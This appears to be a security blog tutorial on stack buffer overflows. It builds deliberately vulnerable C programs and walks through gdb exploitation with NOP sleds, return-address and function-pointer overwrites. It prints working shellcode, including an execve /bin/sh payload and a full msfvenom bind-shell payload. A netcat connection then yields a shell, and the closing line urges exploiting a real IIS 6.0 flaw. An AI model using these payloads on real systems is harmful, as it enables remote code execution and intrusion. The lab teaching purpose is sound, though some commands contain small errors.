Understanding and testing Buffer Overflows

Author:
Published on:

Understanding Buffer Overflows and exploiting them in the real world

André Eichhofer

Buffer overflow occurs when a program attempts to write more data into the memory (or buffer) than the buffer is allocated to hold.

By sending carefully crafted input to an application, an attacker can cause the application to execute arbitrary code, possibly taking over the machine or remote server.

How a buffer overflow works

Allocating bytes to the buffer

When a program is run by the operating system, the executable will be held in the memory. The memory consists of different areas.

  • Kernel: contains command line parameters that are passed to the program
  • Text: contains the actual code of the programm. Text area is read only, because the code must not be changed
  • Data: contains initialized and unitialized variables
  • Heap: contains large objects (images, files etc)
  • Stack: hold local variables for each of the functions of the program see: here

Example:
¯¯¯¯¯¯¯¯¯¯

The following program takes a user input, safes the input into a variable and prints the input to the screen.

#include <stdio.h>
#include <string.h>

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Welcome %s\n", buf);
}

int main(int argc, char *argv[])
{
   func(argv[1]);
   return 0;
}

When executing the programm, the following process starts:

  1. Request input from user
  2. Save the input into a variable
  3. Allocate memory for the input data and move input data to stack
  4. Output the stack data and print user input to the screen

Note that the program is written in C and that the function allocates 100 bytes for the variable.

char buf[100];

That means that 100 bytes will be reserved in the stack for the variable. The user input must not be greater than 100 bytes. A single string character, e.g. b, d, is exactly 8 bit long = 1 byte. Means, the username must not exceed 100 character.

Buffer overflow attacks concerns programs written in low language like C, C++, Go, etc. Here you need to allocate buffer to variables. This increases the performance of the code. In higher languages (PHP, Python, etc.) you don’t have to allocate buffer to the variables as these languages have buffer restriction measures implemented.

  • After the function func is executed, the function should know where to return when the function exits, so the address of the next instruction is pushed onto the stack as the return address. In this code example, the next instruction is the one after func(argv[1]), which is the memory address for line 14.
  • After that extended base pointer is pushed into the stack. This pointer is used to refer to parameters and local variables.
  • Then, a buffer of 100 bytes long is allocated in the stack, followed by a call to the stringcopy function strcpy which will copy the name-parameter into the buffer.
  • After this the contents of the buffer are output together with the welcome message.
  • The stack will now be built-up as depicted below, consisting of the name-parameter, followed by the return address, the EBP and the 100-byte buffer:

Overflowing the buffer

In the code example above, the buffer would be overflowed if you enter a name which is greater than 100 characters. Then, the name variable would exceed 100 bytes.

As consequence, the buffer would be filled up from lower memory address to higer memory address. It would start overwriting the base pointer.

For example, if we would write 100 times letter A, 4 times letter B and 4 times letter C the stack would look like this:

As result the program would crash with the error segmentation fault. This is an error the CPU produces when something tries to access a part of the memory it should not be accessing. It happened because the return address was overwritten with C. As there is nothing at the overwritten address, the program crashes.

Exploiting the code

To exploit the buffer overflow you have to change the return address to somewhere you would have some malicious code. In order to do this, you will pass the shellcode as the command-line parameter nameso it will eventually end up in the buffer. We then overwrite the return address (the C’s in the previous example) so it will point back to a memory address somewhere in the buffer. This will make the program jump to the shellcode and execute that code instead of the regular program.

Example:
—————-

AAAAAAAAAAAAAA\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

Note that the shellcode is written in hexadecimal.

Memory may move around a bit during execution of the program, so we do not exactly know on which address the shellcode will start in the buffer. The NOP-sled is a way:

NOP-sled

A NOP-sled is a sequence of NOP (no-operation) instructions meant to “slide” the CPU’s instruction execution flow to the next memory address. NOP-values may differ per CPU. But usually the NOP-value is \x90.

With a NOP-sled, it doesn’t matter where the shellcode is in the buffer for the return address to hit it. What we do know is that it will be somewhere in the buffer and its size will be for example 25 bytes.

With a shellcode of 25 bytes and a payload of 108 bytes, we have 83 bytes left to fill, which we will divide on both sides of the shellcode like this:

Payload: [ NOP SLED ] [ SHELLCODE ] [ 20 x 'E' ]

The NOP-sled will be placed at the start of the payload, followed by the shellcode. After the shellcode we will place a filler, for now consisting of a bunch of E characters (0x45 in hexadecimal). This filler will later be replaced by the memory address pointing to somewhere in the NOP-sled inside the buffer.

The following image depicts what we expect our memory to look like after execution with the given payload:

However, the shellcode will not be executed at this stage, because we don’t know the return address to the shellcode.

Determine return address

To determine the return address you have to examine the memory of the program. We can confirm that the payload was places as expected.

The memory address for the nopsled is 0xbffffd6c. The memory location marked by a blue box in the image above. This is the address that we will put in the payload instead of the E’s.

From a memory’s point of view, the payload will be inserted in the buffer from the top of the stack towards the bottom (lower to higher memory). The return address will be read in reverse order, from the bottom of the stack towards the top:

In order for the return address to be read correctly, the bytes need to be written into the payload reversed order, so 0xbffffd6c should be written as 0x6cfdffbf in the payload.

When we replace the 5 x 0x45454545 (‘E’) in the payload by 5 x 0x6cfdffbf, we will have the return address point to the memory location in the NOP-sled. At runtime the CPU’s instruction execution flow will “slide” towards the shellcode, execute it and run the shellcode

user$ sampleapplication (python -C 'print "\x90" * 63 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x6c\xfd\xff\xbf" * 5'

Note: Instead of typing the characters manually we use a python command. The characters must be written in hexadecimal.

https://www.coengoedegebure.com/buffer-overflow-attacks-explained/

Performing a simple buffer overflow

This example shows a simple buffer overflow exploitation with harmless breakpoint error used as shellcode.

Prerequisites

To better examine memory addresses you need to turn off memory randomization. Memory randomization helps programs protect themselves against buffer overflow or similar memory based attacks. To switch it off manually. Set the value from 2 to 0 in the file:

/proc/sys/kernel/randomize_va_space

Get information on target binary

As template we take the program above (buf.c). Compile the program with GCC, keep assembly information and disable stack protection,

gcc buf.c -g -S -o buf -fno-stack-protector -z execstack -no-pie

Start GDB and load the program,

gdb buf

List all functions of the program with

  • (gdb) info functions or
  • readelf -s buf
  • objdump -S buf

In the output notice the name of the function

  • func

Inspect the source code of the program or function with

  • (gdb) list or
  • (gdb) list {name of function}

Note that there are 100 bytes allocated in the buffer for the variable name

void func(char *name)
{
    char buf[100];
    strcpy(buf, name);
    printf("Welcome %s\n", buf);
}

Note that in the program 100 bytes are allocated in the buffer. In 64-bit systems you need to exceed the 100 bytes by more than in 32-bit architectures.

Disassemble the function func with

  • (gdb) disas/s func

and inspect the lines. Set a breakpoint at a line to inspect the registers.

Run the program with normal parameter and check out the registers and variables:

  • info frame
  • info args
  • x /100x $rsp

You can use different views to inspect the stack:

  • 4-byte-view: each two columns represent 1 memory address; a memory address contains 8 bytes (4 bytes per column).
(gdb) x /100x $rsp
0x7fffffffe220: 0xffffffff 0x00000000 0xffffe62c 0x00007fff
0x7fffffffe230: 0xffffffff 0x00000000 0xffffe62c 0x00007fff
  • 8-byte-view: each one column represents 1 memory address; memory address contains 8 bytes
(gdb) x /100ax $rsp
0x7fffffffe2b0: 0x00007fffffffe3a8   0x0000000200000000
0x7fffffffe2c0: 0x00000000004005a0   0x00007ffff7a03bf7
  • Byte-per-byte-view: Each line represents 1 memory address; memory address contains 8 bytes
(gdb) x /100b $rsp
0x7fffffffe220: 0xff 0xff 0xff 0xff 0x00 0x00 0x00 0x00
0x7fffffffe228: 0x2c 0xe6 0xff 0xff 0xff 0x7f 0x00 0x00

Overflow the buffer

The first goal is to overflow the rbp and rip registers. If you manage to overwrite the instruction pointer with faulty characters you will cause a buffer overflow.

Keep the breakpoint for inspecting the registers.

To output a number of characters we will use the python script:

python2 -c 'print("\x41" * 115 + "\x42\x42\x42\x42" + "\x43\x43\x43\x43")'

Take care which Python version to use. Python2 will produce exact matches in the stack. Python3 uses another character encoding and can cause issues when writing characters into the memory.

This python line will print

  • 115 * letter A (x41 in hex)
  • 4 * letter B (x42 in hex)
  • 4 * letter C (x43 in hex)

These characters are useful to distinguish how the registers will be overwritten.

(gdb) run $(python3 -c 'print("\x41" * 115 + "\x42\x42\x42\x42" + "\x43\x43\x43\x43")')

Inspect the stack with x /100x $rsp and you get an output like this:

(gdb) x /100x $rsp
0x7fffffffe220: 0xffffffff   0x00000000 0xffffe62e 0x00007fff
0x7fffffffe230: 0x41414141   0x41414141 0x41414141 0x41414141
...
...
0x7fffffffe2a0: 0x42424242   0x42424242 0x43434343 0x43434343
                    |          |           |         |
                    V          V           V         V
                    base pointer       instruction pointer

Confirm the memory addresses of the base pointer and the instruction pointer with

  • info frames

You see that the base pointer is located at 0x7fffffffe2a0 and the instruction pointer is located at 0x7fffffffe2a8, just right after the base pointer.

Confirm that both registers were overwritten with

  • info registers

Run the program without the breakpoint and you get the error

Starting program: /home/andre/Dokumente/payloads/buf $(python3 -c 'print("\x41" * 115 + "\x42\x42\x42\x42" + "\x43\x43\x43\x43")')
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
0x0000000000434343 in ?? ()

The aim of the buffer overflow is to overwrite the instruction pointer (in the first run with \x43).

Implement shell code

The goal is to inject a simple shell code, let the eip point to shell code and get the code executed.

The code to be injected is

  • 0xcc,

what is called a hard breakpoint and will cause the program to halt and give a SIGTRAP exception upon exit.

The payload will constructed like this

  • [nopsled] 90 times
  • [shellcode] 30 times
  • [eip placeholder] 8 times (will be swapped with target memory address, later)

[\x90 * 90] + [\xcc * 30] + [\x41\x41\x41\x41\x41\x41\x41\x41]

Keep the breakpoint and construct the shell code in the (gdb) command line:

run $(python2 -c 'print("\x90" * 90 + "\xcc" * 30 + "\x45\x45\x45\x45\x45\x45")')

The command will cause a buffer overflow. The memory output will look like this:

(gdb) x /100x $rsp
0x7fffffffe220: 0xffffffff 0x00000000 0xffffe62c 0x00007fff
0x7fffffffe230: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe240: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe250: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe260: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe270: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe280: 0x90909090 0x90909090 0xcccccccc 0xcccccccc
0x7fffffffe290: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x7fffffffe2a0: 0xcccccccc 0xcccccccc 0x41414141 0x41414141
                                           |          |
                                           V          V
                                       instruction pointer

The instruction pointer should habe been overwritten with the placeholder \x41. If not, adjust the number of nopsleds to hit the eip which is at 0x7fffffffe2a8.

The next step ist to point the rip to a memory address where the nop sled is located. The programm shall jump to the nop sled address and hit the shell code.

Here, you can use address 0x7fffffffe230, which contains the nop sled.

When overwriting the rip with the choosen address, consider that memory reads from right to left, so you have to input the address in reverse order using little endian:

7fffffffe230 –––> 30e2ffffff7f –––> \x30\xe2\xff\xff\xff\x7f\x00\x00

Payload will look like

(gdb) run $(python2 -c 'print("\x90" * 90 + "\xcc" * 30 + "\x30\xe2\xff\xff\xff\x7f\x00\x00")')

Keep the breakpoint to confirm the rip has been overwritten: It should look like this in 8 byte view: 0xffffe270 0x00007fff

Delete the breakpoint and run the command, which will cause Sigtrap error.

gdb) run $(python2 -c 'print("\x90" * 90 + "\xcc" * 30 + "\x70\xe2\xff\xff\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y oder n) y
Starting program: /home/andre/Dokumente/payloads/buf $(python2 -c 'print("\x90" * 90 + "\xcc" * 30 + "\x70\xe2\xff\xff\xff\x7f\x00\x00")')
/bin/bash: Warnung: Kommansosubstitution: NULL byte in der Eingabe ignoriert.
Welcome ������������������������������������������������������������������������������������������������������������������������p����

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00007fffffffe28b in ?? ()

https://www.codeproject.com/Articles/5165534/Basic-x86-64bit-Buffer-Overflows-in-Linux

Performing Buffer Overflow With Shellcode

Create a vulnerable program

Before testing the buffer overflow turn off ASLR (see above).

Create a vulnerable program in C with this source code:

#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[400];
    int r;
    register int i asm("rsp");
    printf("Welcome to the Proj 13 Server!\n\n");
    printf("$rsp = %#018x\n\nEnter some text:\n", i);
    r = read(0, buf, 800);
    printf("You said: %s\n", buf);
    return 0;
}

int main(int argc, char *argv[]) {
    vuln();
    printf("Bye!\n");
    return 0;
}

Note that the buffer is 400. Compile the program and disable buffer overflow protection (see above).

Run the program with parameter:

mycode $(python2 -c 'print("A" * 450)')

You will receive segmentation fault as the buffer is exceeded.

Make a payload from the python script with

python2 -c 'print("A" * 450)' > payload

Debug the program with dbg and run the code with the payload

run < payload

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005e0 in vuln ()

When you get info on registers with

  • info register
  • info frame

you notice that the rbp is overwritten with 0x4141414141414141

In gdb disassemble the function vuln

  • disassemble vuln

Notice the following line:

...
0x00000000004005b7 <+64>: callq0x400480 <read@plt>
...

This is the „read“ instruction that causes the buffer overflow.

In gdb put a break point at this line

  • break * vuln+64

and execute the program again with the payload. Examine the stack with

  • info frame
  • x /140ax $rsp

The return value at $rip is something like 0x00000000004005fa

Execute the next instruction with

  • nexti

and inspect the stack again:

  • x /140 x $rsp

Note that the return value has changed and is now overwritten with 0x4141414141414141. Continue the execution with

  • continue

and inspect the lines which caused the buffer overflow:

  • x /3i $rip

The reason why the program crashed is that its not allowed to put a value like 0x4141414141414141 into the instruction pointer.

Calculating the buffer size

Before exploitation you need to calculate the exact buffer size. For this, we create a payload with

  • 350 * letter A and
  • 100 * random numbers

==> 450 bytes

#!/usr/bin/python

attack = 'A' * 350

for i in range(0,5):
   for j in range(0,10):
      attack += str(i) + str(j)

print attack 

Make a payload from the python script with

./calculation_payload > calculation

Open the program with gdb and execute it with the payload

(gdb) run < calculation

Print the stack and notice the value of rip

0x7fffffffe400: 0x32343134 0x34343334 0x38333733 0x30343933
                                           |          |
                                           V          V
                                       Instruction Pointer

Here, the $rip is at 0x7fffffffe408 and it contains the values
0x38333733 and 0x30343933.

You need to convert the hex value to ascii and then reverse the value as it is noted in little endian:

  • 38333733 = 8373 => 3738
  • 30343933 = 0493 => 3940

Find the numbers in the payload:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0001020304050607080910111213141516171819202122232425262728293031
3233343536|37383940|414243444546474849
              |
              V
      Ascii value from $rip 

Count the A character

= 350

plus the numbers until the 37383940

= 74

Total: 424 characters ==> 424 byte buffer size

Prepare dummy attack payload

As we know the exact size of the buffer we can create dummy payload to exploit the program:

#!/usr/bin/python

nopsled = '\x90' * 100
buf = '\xcc' * 200
pad = 'X' * (424 - 100 - len(buf))
rip = 'ABCDEFGH'
print nopsled + buf + pad + rip 

Make a payload from the python script with

./dummy_payload > dummy_payload

Open the program with gdb and run it with the dummy payload

(gdb) run < dummy_payload

Notice that the $rip contains the value 0x44434241 0x48474645 which is the ASCII text ABCDEFGH, as we intended.

Now, set the rip variable in the payload to somewhere in the Nopsled, for example:

  • rip = ‘\x70\xe2\xff\xff\xff\x7f\x00\x00’

Run the program again with the modified payload and notice the Sigtrap as intended.

Prepare attack shellcode

Open msfvenon and select the following shellcode:

  • linux/x64/shell_bind_tcp

Execute this command to make the shellcode we need, avoiding null bytes:

msfvenom -p linux/x64/shell_bind_tcp -b '\x00' -f python

The shellcode is 127 bytes long. Copy the shellcode into the attack payload:

#!/usr/bin/python

nopsled = '\x90' * 100
buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf5\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x85\x36\x42\x88\xd3\xab\xf6"
buf += b"\xc2\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xef\x1f\x1a\x11\xb9\xa9\xa9\xa8\x84\x68\x4d\x8d\x9b"
buf += b"\x3c\xa4\x05\x81\x12\x40\x88\xc2\xf7\xbe\x4b\x63\x5c"
buf += b"\x52\xd2\xb9\x9a\xae\xcd\x80\x5c\x70\xd0\xdc\xae\xbe"
buf += b"\xf3\x73\x5c\x69\xd0\xdc\xae\xbe\x55\xef\x35\x1c\xc0"
buf += b"\x2c\x65\x9c\xe3\xdd\x39\x47\xfd\x25\xc1\xcd\x9a\x1c"
buf += b"\x7e\xf9\xa7\xb1\xc2\x98\xed\xf6\x5e\x42\xdb\x9b\x22"
buf += b"\x11\x90\xd2\x7e\xcb\x6e\xdc\xae\xf6\xc2"
pad = 'X' * (424 - 100 - len(buf))
rip = '\x70\xe2\xff\xff\xff\x7f\x00\x00'
print nopsled + buf + pad + rip

Make an attack_payload from the python script. Make sure that its exact 433 bytes long as the payloads before. Make a breakpoint in gdb and confirm that the $rip has been overwritten with the right address in the Nopsled. Continue execution and note that a listener has been established at the target machine.

netstat -pant

Switch to your attack machine and connect to the listener

nc <ip-address> 4444

On the attack machine type

bash -i

and you get a reverse shell.

https://samsclass.info/127/proj/p13-64bo.htm
https://0xrick.github.io/binary-exploitation/bof5/

Overwritung A Function Pointer

The aim of the next example is not to execute shellcode, but to execute a function within a program. Therefore, you need to overwrite a function pointer in the stack. The function pointer is a local variable which points to the memory address of a specific function. The goal is to manipulate the function pointer and to execute another function.

Create a vulnerable program

Create the following vulnerable program in C:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
 printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
 volatile int (*fp)();
 char buffer[64];

 fp = 0;

 gets(buffer);

 if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
 }
}

From the source code you can see the following information:

Analyze program

List the source code of the program in gdb

(gdb) list

  • there is a function called win
  • there is a function main
  • the buffer for the argument is 64 byte
  • there is a variable called fp

As the allocated buffer is 65 byte we create a payload of 100 byte with Pattern Create:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Run the program with the pattern as argument. A buffer overflow will happen.

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011a5 in main (argc=1, argv=0x7fffffffebb8) at stack3.c:22
22    fp();

Note that gdb refers to a variable fp() which could be our function pointer variable.

List all local variables with

  • info locals
(gdb) info locals
fp = 0x6341356341346341
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A"

Note that the buffer contains our pattern and that fp contains a hexadecimal word 6341356341346341

Find the function pointer

With that information its easy to locate the function pointer.

Print the stack with

  • x /120x $rsp
(gdb) x /120x $rsp
0x7fffffffea60: 0xffffebb8  0x00007fff  0x00000000  0x00000001
0x7fffffffea70: 0x41306141  0x61413161  0x33614132  0x41346141
0x7fffffffea80: 0x61413561  0x37614136  0x41386141  0x62413961
0x7fffffffea90: 0x31624130  0x41326241  0x62413362  0x35624134
0x7fffffffeaa0: 0x41366241  0x62413762  0x39624138  0x41306341
0x7fffffffeab0: 0x63413163  0x33634132  0x41346341  0x63413563
                                            |           |
                                            V           V
                                        function pointer (fp) 

0x7fffffffeac0: 0x37634136  0x41386341  0x64413963  0x31644130
0x7fffffffead0: 0x41326441  0x00007f00  0x00000000  0x00000001

Find the pattern which matches the hexadecimal word of fp variable. So, the function pointer is located at the address 0x7fffffffeab8

Calculate the buffer size

Calculate the buffer size from the beginning of the buffer to the function pointer with pattern offset.

./pattern_offset.rb -l 100 -q 41346341
[*] Exact match at offset 72

Control the length of the buffer with gdb

(gdb) p/d 0x7fffffffeab8 - 0x7fffffffea70
$2 = 72

So, the size of the buffer is 72 byte.

Find the address of hidden function

Use Objdump to find the address of the hidden function

  • objdump -d hidden
...
0000000000401142 <win>:
...

and note that the memory address is 401142

Prepare the payload

To execute the hidden function win the function pointer needs be overwritten with the address of win. So, the payload will look like:

  • [ pattern * 72 ] + [address of win]

==> python -c "print 'A' * 72 + '\x42\x11\x40'" > attack

Note: To apply the exploit you need to divert the payload into a file with >, otherwise the hexadecimal words will not be printed correctly into the memory.

Apply the exploit with

(gdb) run < attack
calling function pointer, jumping to 0x00401142
code flow successfully changed

Now that we know how buffer overflows vulnerabilities can be tested, why not exploit them in the real world? A practical example would be the Microsoft IIS/6.0 DAV buffer overflow vulnerability